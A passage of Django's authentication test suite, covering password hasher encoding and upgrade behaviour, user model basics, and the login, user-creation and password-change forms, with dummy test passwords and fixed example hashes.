        encoded = hasher.encode('lètmein', 'seasalt2')
        self.assertEqual(encoded, 'pbkdf2_sha256$36000$seasalt2$QkIBVCvGmTmyjPJ5yox2y/jQB8isvgUNK98FxOU1UYo=')
        self.assertTrue(hasher.verify('lètmein', encoded))

    def test_low_level_pbkdf2_sha1(self):
        hasher = PBKDF2SHA1PasswordHasher()
        encoded = hasher.encode('lètmein', 'seasalt2')
        self.assertEqual(encoded, 'pbkdf2_sha1$36000$seasalt2$GoU+9AubJ/xRkO0WD1Xf3WPxWfE=')
        self.assertTrue(hasher.verify('lètmein', encoded))

    @override_settings(
        PASSWORD_HASHERS=[
            'django.contrib.auth.hashers.PBKDF2PasswordHasher',
            'django.contrib.auth.hashers.SHA1PasswordHasher',
            'django.contrib.auth.hashers.MD5PasswordHasher',
        ],
    )
    def test_upgrade(self):
        self.assertEqual('pbkdf2_sha256', get_hasher('default').algorithm)
        for algo in ('sha1', 'md5'):
            encoded = make_password('lètmein', hasher=algo)
            state = {'upgraded': False}

            def setter(password):
                state['upgraded'] = True
            self.assertTrue(check_password('lètmein', encoded, setter))
            self.assertTrue(state['upgraded'])

    def test_no_upgrade(self):
        encoded = make_password('lètmein')
        state = {'upgraded': False}

        def setter():
            state['upgraded'] = True
        self.assertFalse(check_password('WRONG', encoded, setter))
        self.assertFalse(state['upgraded'])

    @override_settings(
        PASSWORD_HASHERS=[
            'django.contrib.auth.hashers.PBKDF2PasswordHasher',
            'django.contrib.auth.hashers.SHA1PasswordHasher',
            'django.contrib.auth.hashers.MD5PasswordHasher',
        ],
    )
    def test_no_upgrade_on_incorrect_pass(self):
        self.assertEqual('pbkdf2_sha256', get_hasher('default').algorithm)
        for algo in ('sha1', 'md5'):
            encoded = make_password('lètmein', hasher=algo)
            state = {'upgraded': False}

            def setter():
                state['upgraded'] = True
            self.assertFalse(check_password('WRONG', encoded, setter))
            self.assertFalse(state['upgraded'])

    def test_pbkdf2_upgrade(self):
        hasher = get_hasher('default')
        self.assertEqual('pbkdf2_sha256', hasher.algorithm)
        self.assertNotEqual(hasher.iterations, 1)

        old_iterations = hasher.iterations
        try:
            # Generate a password with 1 iteration.
            hasher.iterations = 1
            encoded = make_password('letmein')
            algo, iterations, salt, hash = encoded.split('$', 3)
            self.assertEqual(iterations, '1')

            state = {'upgraded': False}

            def setter(password):
                state['upgraded'] = True

            # Check that no upgrade is triggered
            self.assertTrue(check_password('letmein', encoded, setter))
            self.assertFalse(state['upgraded'])

            # Revert to the old iteration count and ...
            hasher.iterations = old_iterations

            # ... check if the password would get updated to the new iteration count.
            self.assertTrue(check_password('letmein', encoded, setter))
            self.assertTrue(state['upgraded'])
        finally:
            hasher.iterations = old_iterations

    def test_pbkdf2_harden_runtime(self):
        hasher = get_hasher('default')
        self.assertEqual('pbkdf2_sha256', hasher.algorithm)

        with mock.patch.object(hasher, 'iterations', 1):
            encoded = make_password('letmein')

        with mock.patch.object(hasher, 'iterations', 6), \
                mock.patch.object(hasher, 'encode', side_effect=hasher.encode):
            hasher.harden_runtime('wrong_password', encoded)

            # Encode should get called once ...
            self.assertEqual(hasher.encode.call_count, 1)

            # ... with the original salt and 5 iterations.
            algorithm, iterations, salt, hash = encoded.split('$', 3)
            expected_call = (('wrong_password', salt, 5),)
            self.assertEqual(hasher.encode.call_args, expected_call)

    def test_pbkdf2_upgrade_new_hasher(self):
        hasher = get_hasher('default')
        self.assertEqual('pbkdf2_sha256', hasher.algorithm)
        self.assertNotEqual(hasher.iterations, 1)

        state = {'upgraded': False}

        def setter(password):
            state['upgraded'] = True

        with self.settings(PASSWORD_HASHERS=[
                'auth_tests.test_hashers.PBKDF2SingleIterationHasher']):
            encoded = make_password('letmein')
            algo, iterations, salt, hash = encoded.split('$', 3)
            self.assertEqual(iterations, '1')

            # Check that no upgrade is triggered
            self.assertTrue(check_password('letmein', encoded, setter))
            self.assertFalse(state['upgraded'])

        # Revert to the old iteration count and check if the password would get
        # updated to the new iteration count.
        with self.settings(PASSWORD_HASHERS=[
                'django.contrib.auth.hashers.PBKDF2PasswordHasher',
                'auth_tests.test_hashers.PBKDF2SingleIterationHasher']):
            self.assertTrue(check_password('letmein', encoded, setter))
            self.assertTrue(state['upgraded'])

    def test_check_password_calls_harden_runtime(self):
        hasher = get_hasher('default')
        encoded = make_password('letmein')

        with mock.patch.object(hasher, 'harden_runtime'), \
                mock.patch.object(hasher, 'must_update', return_value=True):
            # Correct password supplied, no hardening needed
            check_password('letmein', encoded)
            self.assertEqual(hasher.harden_runtime.call_count, 0)

            # Wrong password supplied, hardening needed
            check_password('wrong_password', encoded)
            self.assertEqual(hasher.harden_runtime.call_count, 1)

    def test_load_library_no_algorithm(self):
        with self.assertRaises(ValueError) as e:
            BasePasswordHasher()._load_library()
        self.assertEqual("Hasher 'BasePasswordHasher' doesn't specify a library attribute", str(e.exception))

    def test_load_library_importerror(self):
        PlainHasher = type(str('PlainHasher'), (BasePasswordHasher,), {'algorithm': 'plain', 'library': 'plain'})
        # Python 3 adds quotes around module name
        msg = "Couldn't load 'PlainHasher' algorithm library: No module named '?plain'?"
        with six.assertRaisesRegex(self, ValueError, msg):
            PlainHasher()._load_library()


@skipUnless(argon2, "argon2-cffi not installed")
@override_settings(PASSWORD_HASHERS=PASSWORD_HASHERS)
class TestUtilsHashPassArgon2(SimpleTestCase):

    def test_argon2(self):
        encoded = make_password('lètmein', hasher='argon2')
        self.assertTrue(is_password_usable(encoded))
        self.assertTrue(encoded.startswith('argon2$'))
        self.assertTrue(check_password('lètmein', encoded))
        self.assertFalse(check_password('lètmeinz', encoded))
        self.assertEqual(identify_hasher(encoded).algorithm, 'argon2')
        # Blank passwords
        blank_encoded = make_password('', hasher='argon2')
        self.assertTrue(blank_encoded.startswith('argon2$'))
        self.assertTrue(is_password_usable(blank_encoded))
        self.assertTrue(check_password('', blank_encoded))
        self.assertFalse(check_password(' ', blank_encoded))
        # Old hashes without version attribute
        encoded = (
            'argon2$argon2i$m=8,t=1,p=1$c29tZXNhbHQ$gwQOXSNhxiOxPOA0+PY10P9QFO'
            '4NAYysnqRt1GSQLE55m+2GYDt9FEjPMHhP2Cuf0nOEXXMocVrsJAtNSsKyfg'
        )
        self.assertTrue(check_password('secret', encoded))
        self.assertFalse(check_password('wrong', encoded))

    def test_argon2_upgrade(self):
        self._test_argon2_upgrade('time_cost', 'time cost', 1)
        self._test_argon2_upgrade('memory_cost', 'memory cost', 16)
        self._test_argon2_upgrade('parallelism', 'parallelism', 1)

    def test_argon2_version_upgrade(self):
        hasher = get_hasher('argon2')
        state = {'upgraded': False}
        encoded = (
            'argon2$argon2i$m=8,t=1,p=1$c29tZXNhbHQ$gwQOXSNhxiOxPOA0+PY10P9QFO'
            '4NAYysnqRt1GSQLE55m+2GYDt9FEjPMHhP2Cuf0nOEXXMocVrsJAtNSsKyfg'
        )

        def setter(password):
            state['upgraded'] = True

        old_m = hasher.memory_cost
        old_t = hasher.time_cost
        old_p = hasher.parallelism
        try:
            hasher.memory_cost = 8
            hasher.time_cost = 1
            hasher.parallelism = 1
            self.assertTrue(check_password('secret', encoded, setter, 'argon2'))
            self.assertTrue(state['upgraded'])
        finally:
            hasher.memory_cost = old_m
            hasher.time_cost = old_t
            hasher.parallelism = old_p

    def _test_argon2_upgrade(self, attr, summary_key, new_value):
        hasher = get_hasher('argon2')
        self.assertEqual('argon2', hasher.algorithm)
        self.assertNotEqual(getattr(hasher, attr), new_value)

        old_value = getattr(hasher, attr)
        try:
            # Generate hash with attr set to 1
            setattr(hasher, attr, new_value)
            encoded = make_password('letmein', hasher='argon2')
            attr_value = hasher.safe_summary(encoded)[summary_key]
            self.assertEqual(attr_value, new_value)

            state = {'upgraded': False}

            def setter(password):
                state['upgraded'] = True

            # Check that no upgrade is triggered.
            self.assertTrue(check_password('letmein', encoded, setter, 'argon2'))
            self.assertFalse(state['upgraded'])

            # Revert to the old rounds count and ...
            setattr(hasher, attr, old_value)

            # ... check if the password would get updated to the new count.
            self.assertTrue(check_password('letmein', encoded, setter, 'argon2'))
            self.assertTrue(state['upgraded'])
        finally:
            setattr(hasher, attr, old_value)






from django.conf.urls import url
from django.contrib import admin
from django.contrib.auth import get_user_model
from django.contrib.auth.admin import UserAdmin

site = admin.AdminSite(name='custom_user_admin')


class CustomUserAdmin(UserAdmin):
    def log_change(self, request, object, message):
        # LogEntry.user column doesn't get altered to expect a UUID, so set an
        # integer manually to avoid causing an error.
        original_pk = request.user.pk
        request.user.pk = 1
        super(CustomUserAdmin, self).log_change(request, object, message)
        request.user.pk = original_pk

site.register(get_user_model(), CustomUserAdmin)

urlpatterns = [
    url(r'^admin/', site.urls),
]






# The password for the fixture data users is 'password'






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import warnings

from django.contrib.auth import get_user_model
from django.contrib.auth.models import AnonymousUser, User
from django.core.exceptions import ImproperlyConfigured
from django.db import IntegrityError
from django.test import TestCase, override_settings
from django.utils import translation

from .models import CustomUser


class BasicTestCase(TestCase):
    def test_user(self):
        "Check that users can be created and can set their password"
        u = User.objects.create_user('testuser', 'test@example.com', 'testpw')
        self.assertTrue(u.has_usable_password())
        self.assertFalse(u.check_password('bad'))
        self.assertTrue(u.check_password('testpw'))

        # Check we can manually set an unusable password
        u.set_unusable_password()
        u.save()
        self.assertFalse(u.check_password('testpw'))
        self.assertFalse(u.has_usable_password())
        u.set_password('testpw')
        self.assertTrue(u.check_password('testpw'))
        u.set_password(None)
        self.assertFalse(u.has_usable_password())

        # Check username getter
        self.assertEqual(u.get_username(), 'testuser')

        # Check authentication/permissions
        self.assertFalse(u.is_anonymous)
        self.assertTrue(u.is_authenticated)
        self.assertFalse(u.is_staff)
        self.assertTrue(u.is_active)
        self.assertFalse(u.is_superuser)

        # Check API-based user creation with no password
        u2 = User.objects.create_user('testuser2', 'test2@example.com')
        self.assertFalse(u2.has_usable_password())

    def test_unicode_username(self):
        User.objects.create_user('jörg')
        User.objects.create_user('Григорий')
        # Two equivalent unicode normalized usernames should be duplicates
        omega_username = 'iamtheΩ'  # U+03A9 GREEK CAPITAL LETTER OMEGA
        ohm_username = 'iamtheΩ'  # U+2126 OHM SIGN
        User.objects.create_user(ohm_username)
        with self.assertRaises(IntegrityError):
            User.objects.create_user(omega_username)

    def test_is_anonymous_authenticated_method_deprecation(self):
        deprecation_message = (
            'Using user.is_authenticated() and user.is_anonymous() as a '
            'method is deprecated. Remove the parentheses to use it as an '
            'attribute.'
        )
        u = User.objects.create_user('testuser', 'test@example.com', 'testpw')
        # Backwards-compatibility callables
        with warnings.catch_warnings(record=True) as warns:
            warnings.simplefilter('always')
            self.assertFalse(u.is_anonymous())
            self.assertEqual(len(warns), 1)
            self.assertEqual(str(warns[0].message), deprecation_message)

        with warnings.catch_warnings(record=True) as warns:
            warnings.simplefilter('always')
            self.assertTrue(u.is_authenticated())
            self.assertEqual(len(warns), 1)
            self.assertEqual(str(warns[0].message), deprecation_message)

    def test_user_no_email(self):
        "Check that users can be created without an email"
        u = User.objects.create_user('testuser1')
        self.assertEqual(u.email, '')

        u2 = User.objects.create_user('testuser2', email='')
        self.assertEqual(u2.email, '')

        u3 = User.objects.create_user('testuser3', email=None)
        self.assertEqual(u3.email, '')

    def test_anonymous_user(self):
        "Check the properties of the anonymous user"
        a = AnonymousUser()
        self.assertIsNone(a.pk)
        self.assertEqual(a.username, '')
        self.assertEqual(a.get_username(), '')
        self.assertTrue(a.is_anonymous)
        self.assertFalse(a.is_authenticated)
        self.assertFalse(a.is_staff)
        self.assertFalse(a.is_active)
        self.assertFalse(a.is_superuser)
        self.assertEqual(a.groups.all().count(), 0)
        self.assertEqual(a.user_permissions.all().count(), 0)

    def test_anonymous_user_is_anonymous_authenticated_method_deprecation(self):
        a = AnonymousUser()
        deprecation_message = (
            'Using user.is_authenticated() and user.is_anonymous() as a '
            'method is deprecated. Remove the parentheses to use it as an '
            'attribute.'
        )
        # Backwards-compatibility callables
        with warnings.catch_warnings(record=True) as warns:
            warnings.simplefilter('always')  # prevent warnings from appearing as errors
            self.assertTrue(a.is_anonymous())
            self.assertEqual(len(warns), 1)
            self.assertEqual(str(warns[0].message), deprecation_message)

        with warnings.catch_warnings(record=True) as warns:
            warnings.simplefilter('always')  # prevent warnings from appearing as errors
            self.assertFalse(a.is_authenticated())
            self.assertEqual(len(warns), 1)
            self.assertEqual(str(warns[0].message), deprecation_message)

    def test_superuser(self):
        "Check the creation and properties of a superuser"
        super = User.objects.create_superuser('super', 'super@example.com', 'super')
        self.assertTrue(super.is_superuser)
        self.assertTrue(super.is_active)
        self.assertTrue(super.is_staff)

    def test_get_user_model(self):
        "The current user model can be retrieved"
        self.assertEqual(get_user_model(), User)

    @override_settings(AUTH_USER_MODEL='auth_tests.CustomUser')
    def test_swappable_user(self):
        "The current user model can be swapped out for another"
        self.assertEqual(get_user_model(), CustomUser)
        with self.assertRaises(AttributeError):
            User.objects.all()

    @override_settings(AUTH_USER_MODEL='badsetting')
    def test_swappable_user_bad_setting(self):
        "The alternate user setting must point to something in the format app.model"
        with self.assertRaises(ImproperlyConfigured):
            get_user_model()

    @override_settings(AUTH_USER_MODEL='thismodel.doesntexist')
    def test_swappable_user_nonexistent_model(self):
        "The current user model must point to an installed model"
        with self.assertRaises(ImproperlyConfigured):
            get_user_model()

    def test_user_verbose_names_translatable(self):
        "Default User model verbose names are translatable (#19945)"
        with translation.override('en'):
            self.assertEqual(User._meta.verbose_name, 'user')
            self.assertEqual(User._meta.verbose_name_plural, 'users')
        with translation.override('es'):
            self.assertEqual(User._meta.verbose_name, 'usuario')
            self.assertEqual(User._meta.verbose_name_plural, 'usuarios')






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import datetime
import re
from unittest import skipIf

from django import forms
from django.contrib.auth.forms import (
    AdminPasswordChangeForm, AuthenticationForm, PasswordChangeForm,
    PasswordResetForm, ReadOnlyPasswordHashField, ReadOnlyPasswordHashWidget,
    SetPasswordForm, UserChangeForm, UserCreationForm,
)
from django.contrib.auth.models import User
from django.contrib.sites.models import Site
from django.core import mail
from django.core.mail import EmailMultiAlternatives
from django.forms.fields import CharField, Field, IntegerField
from django.test import SimpleTestCase, TestCase, mock, override_settings
from django.utils import six, translation
from django.utils.encoding import force_text
from django.utils.text import capfirst
from django.utils.translation import ugettext as _

from .models.custom_user import CustomUser, ExtensionUser
from .models.with_integer_username import IntegerUsernameUser
from .settings import AUTH_TEMPLATES


class TestDataMixin(object):

    @classmethod
    def setUpTestData(cls):
        cls.u1 = User.objects.create_user(username='testclient', password='password', email='testclient@example.com')
        cls.u2 = User.objects.create_user(username='inactive', password='password', is_active=False)
        cls.u3 = User.objects.create_user(username='staff', password='password')
        cls.u4 = User.objects.create(username='empty_password', password='')
        cls.u5 = User.objects.create(username='unmanageable_password', password='$')
        cls.u6 = User.objects.create(username='unknown_password', password='foo$bar')


class UserCreationFormTest(TestDataMixin, TestCase):

    def test_user_already_exists(self):
        data = {
            'username': 'testclient',
            'password1': 'test123',
            'password2': 'test123',
        }
        form = UserCreationForm(data)
        self.assertFalse(form.is_valid())
        self.assertEqual(form["username"].errors,
                         [force_text(User._meta.get_field('username').error_messages['unique'])])

    def test_invalid_data(self):
        data = {
            'username': 'jsmith!',
            'password1': 'test123',
            'password2': 'test123',
        }
        form = UserCreationForm(data)
        self.assertFalse(form.is_valid())
        validator = next(v for v in User._meta.get_field('username').validators if v.code == 'invalid')
        self.assertEqual(form["username"].errors, [force_text(validator.message)])

    def test_password_verification(self):
        # The verification password is incorrect.
        data = {
            'username': 'jsmith',
            'password1': 'test123',
            'password2': 'test',
        }
        form = UserCreationForm(data)
        self.assertFalse(form.is_valid())
        self.assertEqual(form["password2"].errors,
                         [force_text(form.error_messages['password_mismatch'])])

    def test_both_passwords(self):
        # One (or both) passwords weren't given
        data = {'username': 'jsmith'}
        form = UserCreationForm(data)
        required_error = [force_text(Field.default_error_messages['required'])]
        self.assertFalse(form.is_valid())
        self.assertEqual(form['password1'].errors, required_error)
        self.assertEqual(form['password2'].errors, required_error)

        data['password2'] = 'test123'
        form = UserCreationForm(data)
        self.assertFalse(form.is_valid())
        self.assertEqual(form['password1'].errors, required_error)
        self.assertEqual(form['password2'].errors, [])

    @mock.patch('django.contrib.auth.password_validation.password_changed')
    def test_success(self, password_changed):
        # The success case.
        data = {
            'username': 'jsmith@example.com',
            'password1': 'test123',
            'password2': 'test123',
        }
        form = UserCreationForm(data)
        self.assertTrue(form.is_valid())
        form.save(commit=False)
        self.assertEqual(password_changed.call_count, 0)
        u = form.save()
        self.assertEqual(password_changed.call_count, 1)
        self.assertEqual(repr(u), '<User: jsmith@example.com>')

    def test_unicode_username(self):
        data = {
            'username': '宝',
            'password1': 'test123',
            'password2': 'test123',
        }
        form = UserCreationForm(data)
        if six.PY3:
            self.assertTrue(form.is_valid())
            u = form.save()
            self.assertEqual(u.username, '宝')
        else:
            self.assertFalse(form.is_valid())

    @skipIf(six.PY2, "Python 2 doesn't support unicode usernames by default.")
    def test_normalize_username(self):
        # The normalization happens in AbstractBaseUser.clean() and ModelForm
        # validation calls Model.clean().
        ohm_username = 'testΩ'  # U+2126 OHM SIGN
        data = {
            'username': ohm_username,
            'password1': 'pwd2',
            'password2': 'pwd2',
        }
        form = UserCreationForm(data)
        self.assertTrue(form.is_valid())
        user = form.save()
        self.assertNotEqual(user.username, ohm_username)
        self.assertEqual(user.username, 'testΩ')  # U+03A9 GREEK CAPITAL LETTER OMEGA

    @skipIf(six.PY2, "Python 2 doesn't support unicode usernames by default.")
    def test_duplicate_normalized_unicode(self):
        """
        To prevent almost identical usernames, visually identical but differing
        by their unicode code points only, Unicode NFKC normalization should
        make appear them equal to Django.
        """
        omega_username = 'iamtheΩ'  # U+03A9 GREEK CAPITAL LETTER OMEGA
        ohm_username = 'iamtheΩ'  # U+2126 OHM SIGN
        self.assertNotEqual(omega_username, ohm_username)
        User.objects.create_user(username=omega_username, password='pwd')
        data = {
            'username': ohm_username,
            'password1': 'pwd2',
            'password2': 'pwd2',
        }
        form = UserCreationForm(data)
        self.assertFalse(form.is_valid())
        self.assertEqual(
            form.errors['username'], ["A user with that username already exists."]
        )

    @override_settings(AUTH_PASSWORD_VALIDATORS=[
        {'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator'},
        {'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', 'OPTIONS': {
            'min_length': 12,
        }},
    ])
    def test_validates_password(self):
        data = {
            'username': 'testclient',
            'password1': 'testclient',
            'password2': 'testclient',
        }
        form = UserCreationForm(data)
        self.assertFalse(form.is_valid())
        self.assertEqual(len(form['password2'].errors), 2)
        self.assertIn('The password is too similar to the username.', form['password2'].errors)
        self.assertIn(
            'This password is too short. It must contain at least 12 characters.',
            form['password2'].errors
        )

    def test_custom_form(self):
        class CustomUserCreationForm(UserCreationForm):
            class Meta(UserCreationForm.Meta):
                model = ExtensionUser
                fields = UserCreationForm.Meta.fields + ('date_of_birth',)

        data = {
            'username': 'testclient',
            'password1': 'testclient',
            'password2': 'testclient',
            'date_of_birth': '1988-02-24',
        }
        form = CustomUserCreationForm(data)
        self.assertTrue(form.is_valid())

    def test_custom_form_with_different_username_field(self):
        class CustomUserCreationForm(UserCreationForm):
            class Meta(UserCreationForm.Meta):
                model = CustomUser
                fields = ('email', 'date_of_birth')

        data = {
            'email': 'test@client222.com',
            'password1': 'testclient',
            'password2': 'testclient',
            'date_of_birth': '1988-02-24',
        }
        form = CustomUserCreationForm(data)
        self.assertTrue(form.is_valid())

    def test_password_whitespace_not_stripped(self):
        data = {
            'username': 'testuser',
            'password1': '   testpassword   ',
            'password2': '   testpassword   ',
        }
        form = UserCreationForm(data)
        self.assertTrue(form.is_valid())
        self.assertEqual(form.cleaned_data['password1'], data['password1'])
        self.assertEqual(form.cleaned_data['password2'], data['password2'])


# To verify that the login form rejects inactive users, use an authentication
# backend that allows them.
@override_settings(AUTHENTICATION_BACKENDS=['django.contrib.auth.backends.AllowAllUsersModelBackend'])
class AuthenticationFormTest(TestDataMixin, TestCase):

    def test_invalid_username(self):
        # The user submits an invalid username.

        data = {
            'username': 'jsmith_does_not_exist',
            'password': 'test123',
        }
        form = AuthenticationForm(None, data)
        self.assertFalse(form.is_valid())
        self.assertEqual(
            form.non_field_errors(), [
                force_text(form.error_messages['invalid_login'] % {
                    'username': User._meta.get_field('username').verbose_name
                })
            ]
        )

    def test_inactive_user(self):
        # The user is inactive.
        data = {
            'username': 'inactive',
            'password': 'password',
        }
        form = AuthenticationForm(None, data)
        self.assertFalse(form.is_valid())
        self.assertEqual(form.non_field_errors(), [force_text(form.error_messages['inactive'])])

    def test_inactive_user_i18n(self):
        with self.settings(USE_I18N=True), translation.override('pt-br', deactivate=True):
            # The user is inactive.
            data = {
                'username': 'inactive',
                'password': 'password',
            }
            form = AuthenticationForm(None, data)
            self.assertFalse(form.is_valid())
            self.assertEqual(form.non_field_errors(), [force_text(form.error_messages['inactive'])])

    def test_custom_login_allowed_policy(self):
        # The user is inactive, but our custom form policy allows them to log in.
        data = {
            'username': 'inactive',
            'password': 'password',
        }

        class AuthenticationFormWithInactiveUsersOkay(AuthenticationForm):
            def confirm_login_allowed(self, user):
                pass

        form = AuthenticationFormWithInactiveUsersOkay(None, data)
        self.assertTrue(form.is_valid())

        # If we want to disallow some logins according to custom logic,
        # we should raise a django.forms.ValidationError in the form.
        class PickyAuthenticationForm(AuthenticationForm):
            def confirm_login_allowed(self, user):
                if user.username == "inactive":
                    raise forms.ValidationError("This user is disallowed.")
                raise forms.ValidationError("Sorry, nobody's allowed in.")

        form = PickyAuthenticationForm(None, data)
        self.assertFalse(form.is_valid())
        self.assertEqual(form.non_field_errors(), ['This user is disallowed.'])

        data = {
            'username': 'testclient',
            'password': 'password',
        }
        form = PickyAuthenticationForm(None, data)
        self.assertFalse(form.is_valid())
        self.assertEqual(form.non_field_errors(), ["Sorry, nobody's allowed in."])

    def test_success(self):
        # The success case
        data = {
            'username': 'testclient',
            'password': 'password',
        }
        form = AuthenticationForm(None, data)
        self.assertTrue(form.is_valid())
        self.assertEqual(form.non_field_errors(), [])

    def test_unicode_username(self):
        User.objects.create_user(username='Σαρα', password='pwd')
        data = {
            'username': 'Σαρα',
            'password': 'pwd',
        }
        form = AuthenticationForm(None, data)
        self.assertTrue(form.is_valid())
        self.assertEqual(form.non_field_errors(), [])

    def test_username_field_label(self):

        class CustomAuthenticationForm(AuthenticationForm):
            username = CharField(label="Name", max_length=75)

        form = CustomAuthenticationForm()
        self.assertEqual(form['username'].label, "Name")

    def test_username_field_label_not_set(self):

        class CustomAuthenticationForm(AuthenticationForm):
            username = CharField()

        form = CustomAuthenticationForm()
        username_field = User._meta.get_field(User.USERNAME_FIELD)
        self.assertEqual(form.fields['username'].label, capfirst(username_field.verbose_name))

    def test_username_field_label_empty_string(self):

        class CustomAuthenticationForm(AuthenticationForm):
            username = CharField(label='')

        form = CustomAuthenticationForm()
        self.assertEqual(form.fields['username'].label, "")

    def test_password_whitespace_not_stripped(self):
        data = {
            'username': 'testuser',
            'password': ' pass ',
        }
        form = AuthenticationForm(None, data)
        form.is_valid()  # Not necessary to have valid credentails for the test.
        self.assertEqual(form.cleaned_data['password'], data['password'])

    @override_settings(AUTH_USER_MODEL='auth_tests.IntegerUsernameUser')
    def test_integer_username(self):
        class CustomAuthenticationForm(AuthenticationForm):
            username = IntegerField()

        user = IntegerUsernameUser.objects.create_user(username=0, password='pwd')
        data = {
            'username': 0,
            'password': 'pwd',
        }
        form = CustomAuthenticationForm(None, data)
        self.assertTrue(form.is_valid())
        self.assertEqual(form.cleaned_data['username'], data['username'])
        self.assertEqual(form.cleaned_data['password'], data['password'])
        self.assertEqual(form.errors, {})
        self.assertEqual(form.user_cache, user)


class SetPasswordFormTest(TestDataMixin, TestCase):

    def test_password_verification(self):
        # The two new passwords do not match.
        user = User.objects.get(username='testclient')
        data = {
            'new_password1': 'abc123',
            'new_password2': 'abc',
        }
        form = SetPasswordForm(user, data)
        self.assertFalse(form.is_valid())
        self.assertEqual(
            form["new_password2"].errors,
            [force_text(form.error_messages['password_mismatch'])]
        )

    @mock.patch('django.contrib.auth.password_validation.password_changed')
    def test_success(self, password_changed):
        user = User.objects.get(username='testclient')
        data = {
            'new_password1': 'abc123',
            'new_password2': 'abc123',
        }
        form = SetPasswordForm(user, data)
        self.assertTrue(form.is_valid())
        form.save(commit=False)
        self.assertEqual(password_changed.call_count, 0)
        form.save()
        self.assertEqual(password_changed.call_count, 1)

    @override_settings(AUTH_PASSWORD_VALIDATORS=[
        {'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator'},
        {'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', 'OPTIONS': {
            'min_length': 12,
        }},
    ])
    def test_validates_password(self):
        user = User.objects.get(username='testclient')
        data = {
            'new_password1': 'testclient',
            'new_password2': 'testclient',
        }
        form = SetPasswordForm(user, data)
        self.assertFalse(form.is_valid())
        self.assertEqual(len(form["new_password2"].errors), 2)
        self.assertIn('The password is too similar to the username.', form["new_password2"].errors)
        self.assertIn(
            'This password is too short. It must contain at least 12 characters.',
            form["new_password2"].errors
        )

    def test_password_whitespace_not_stripped(self):
        user = User.objects.get(username='testclient')
        data = {
            'new_password1': '   password   ',
            'new_password2': '   password   ',
        }
        form = SetPasswordForm(user, data)
        self.assertTrue(form.is_valid())
        self.assertEqual(form.cleaned_data['new_password1'], data['new_password1'])
        self.assertEqual(form.cleaned_data['new_password2'], data['new_password2'])

    @override_settings(AUTH_PASSWORD_VALIDATORS=[
        {'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator'},
        {'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', 'OPTIONS': {
            'min_length': 12,
        }},
    ])
    def test_help_text_translation(self):
        french_help_texts = [
            'Votre mot de passe ne peut pas trop ressembler à vos autres informations personnelles.',
            'Votre mot de passe doit contenir au minimum 12 caractères.',
        ]
        form = SetPasswordForm(self.u1)
        with translation.override('fr'):
            html = form.as_p()
            for french_text in french_help_texts:
                self.assertIn(french_text, html)


class PasswordChangeFormTest(TestDataMixin, TestCase):

    def test_incorrect_password(self):
        user = User.objects.get(username='testclient')
        data = {
            'old_password': 'test',
            'new_password1': 'abc123',
            'new_password2': 'abc123',
        }
        form = PasswordChangeForm(user, data)
        self.assertFalse(form.is_valid())
        self.assertEqual(form["old_password"].errors, [force_text(form.error_messages['password_incorrect'])])

    def test_password_verification(self):
        # The two new passwords do not match.
        user = User.objects.get(username='testclient')
        data = {
            'old_password': 'password',
            'new_password1': 'abc123',
            'new_password2': 'abc',
        }
        form = PasswordChangeForm(user, data)
        self.assertFalse(form.is_valid())
        self.assertEqual(form["new_password2"].errors, [force_text(form.error_messages['password_mismatch'])])

    @mock.patch('django.contrib.auth.password_validation.password_changed')
    def test_success(self, password_changed):
        # The success case.
        user = User.objects.get(username='testclient')
        data = {
            'old_password': 'password',
            'new_password1': 'abc123',
            'new_password2': 'abc123',
        }
        form = PasswordChangeForm(user, data)
        self.assertTrue(form.is_valid())
        form.save(commit=False)
        self.assertEqual(password_changed.call_count, 0)
        form.save()
        self.assertEqual(password_changed.call_count, 1)

    def test_field_order(self):
        # Regression test - check the order of fields:
        user = User.objects.get(username='testclient')
        self.assertEqual(list(PasswordChangeForm(user, {}).fields), ['old_password', 'new_password1', 'new_password2'])

    def test_password_whitespace_not_stripped(self):
        user = User.objects.get(username='testclient')
        user.set_password('   oldpassword   ')
        data = {
            'old_password': '   oldpassword   ',
            'new_password1': ' pass ',
            'new_password2': ' pass ',
        }
        form = PasswordChangeForm(user, data)
        self.assertTrue(form.is_valid())
        self.assertEqual(form.cleaned_data['old_password'], data['old_password'])
        self.assertEqual(form.cleaned_data['new_password1'], data['new_password1'])
        self.assertEqual(form.cleaned_data['new_password2'], data['new_password2'])


class UserChangeFormTest(TestDataMixin, TestCase):

    def test_username_validity(self):
        user = User.objects.get(username='testclient')
        data = {'username': 'not valid'}
        form = UserChangeForm(data, instance=user)
        self.assertFalse(form.is_valid())
        validator = next(v for v in User._meta.get_field('username').validators if v.code == 'invalid')
        self.assertEqual(form["username"].errors, [force_text(validator.message)])

    def test_bug_14242(self):
        # A regression test, introduce by adding an optimization for the
        # UserChangeForm.

        class MyUserForm(UserChangeForm):
            def __init__(self, *args, **kwargs):
                super(MyUserForm, self).__init__(*args, **kwargs)
                self.fields['groups'].help_text = 'These groups give users different permissions'

            class Meta(UserChangeForm.Meta):
                fields = ('groups',)

        # Just check we can create it
        MyUserForm({})

    def test_unusable_password(self):
        user = User.objects.get(username='empty_password')
        user.set_unusable_password()
        user.save()
        form = UserChangeForm(instance=user)
        self.assertIn(_("No password set."), form.as_table())

    def test_bug_17944_empty_password(self):
        user = User.objects.get(username='empty_password')
        form = UserChangeForm(instance=user)
        self.assertIn(_("No password set."), form.as_table())

    def test_bug_17944_unmanageable_password(self):
        user = User.objects.get(username='unmanageable_password')
        form = UserChangeForm(instance=user)
        self.assertIn(_("Invalid password format or unknown hashing algorithm."), form.as_table())

    def test_bug_17944_unknown_password_algorithm(self):
        user = User.objects.get(username='unknown_password')
        form = UserChangeForm(instance=user)
        self.assertIn(_("Invalid password format or unknown hashing algorithm."), form.as_table())

    def test_bug_19133(self):
        "The change form does not return the password value"
        # Use the form to construct the POST data
        user = User.objects.get(username='testclient')
        form_for_data = UserChangeForm(instance=user)
        post_data = form_for_data.initial

        # The password field should be readonly, so anything
        # posted here should be ignored; the form will be
        # valid, and give back the 'initial' value for the
        # password field.
        post_data['password'] = 'new password'
        form = UserChangeForm(instance=user, data=post_data)

        self.assertTrue(form.is_valid())
        # original hashed password contains $
